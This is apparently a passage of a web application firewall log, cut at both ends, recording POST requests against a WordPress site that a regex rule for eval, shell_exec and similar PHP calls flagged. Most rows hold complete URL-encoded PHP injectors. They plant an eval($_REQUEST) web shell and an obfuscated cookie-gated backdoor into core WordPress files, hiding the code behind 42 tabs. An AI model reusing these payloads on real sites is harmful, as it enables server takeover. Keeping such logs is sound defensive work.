0%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:43:00","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\naccept:*\/*\ncontent-length:2060\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Android\"\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jHKCGY%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:43:10","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4349\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nupgrade-insecure-requests:1\n\nBF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:43:37","171.244.34.150","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4349\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nupgrade-insecure-requests:1\n\nHS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:43:57","160.187.68.132","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Net\/IPv6.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B40%252B-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-57%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-71%252B74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B23%252B-19%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524sym%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4349\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 